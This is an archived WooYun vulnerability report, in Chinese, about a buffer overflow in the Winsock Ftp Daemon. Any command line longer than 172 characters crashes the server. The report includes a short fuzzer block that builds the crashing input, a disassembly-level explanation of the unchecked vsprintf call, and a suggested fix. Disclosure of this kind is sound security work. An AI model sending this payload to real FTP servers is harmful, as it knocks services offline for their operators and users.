当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-035825

漏洞标题:Winsock Ftp Daemon内存溢出漏洞

相关厂商:Texas Imperial Software

漏洞作者: 杀破狼

提交时间:2013-09-02 15:09

修复时间:2013-12-01 15:10

公开时间:2013-12-01 15:10

漏洞类型:拒绝服务

危害等级:中

自评Rank:8

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-02: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-12-01: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

当输入的命令行超过172个字符(后接1个\n),程序发生访问异常。

详细说明:

向ftp server发送如下方式构造的数据包:
if s_block_start("body"):
s_static("1"*32)
s_static("2"*32)
s_static("3"*32)
s_static("4"*32)
s_static("5"*32)
s_static("6"*32)
s_static("7"*12)
s_static("\n")
s_delim(" ")
s_block_end()
当输入的命令行超过172个字符(后接1个\n),0041A661处指令发生访问异常。
原因是用全局变量dword_4321F8给ecx赋值时(0040836B指令处),dword_4321F8已经被改写为用户输入命令。
漏洞的原因是:
在 00402936指令处调用vsprintf之前没有判断目标缓冲区0x432130(只有200字节)的边界,导致后面紧跟的全局变量dword_4321F8被改写。由于程序在向目标缓冲区0x432130打印字符串时会在前面加入“500 undefined command ”这样的前缀,所以用户输入只要超过172个字符就会导致目标缓冲区溢出,程序出错退出。

漏洞证明:

proof-video_201391112924.JPG

proof-video_201391112624.JPG

proof-video_201391112813.JPG

proof-video_201391112560.JPG

proof-video_201391112442.JPG

proof-video_201391112353.JPG

proof-video_201391112256.JPG


导致程序出错退出

修复方案:

修复的方式:在 00402936指令处调用sprintf函数时,判断源字符串的长度。程序里类似这样的问题还有很多。

版权声明:转载请注明来源 杀破狼@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝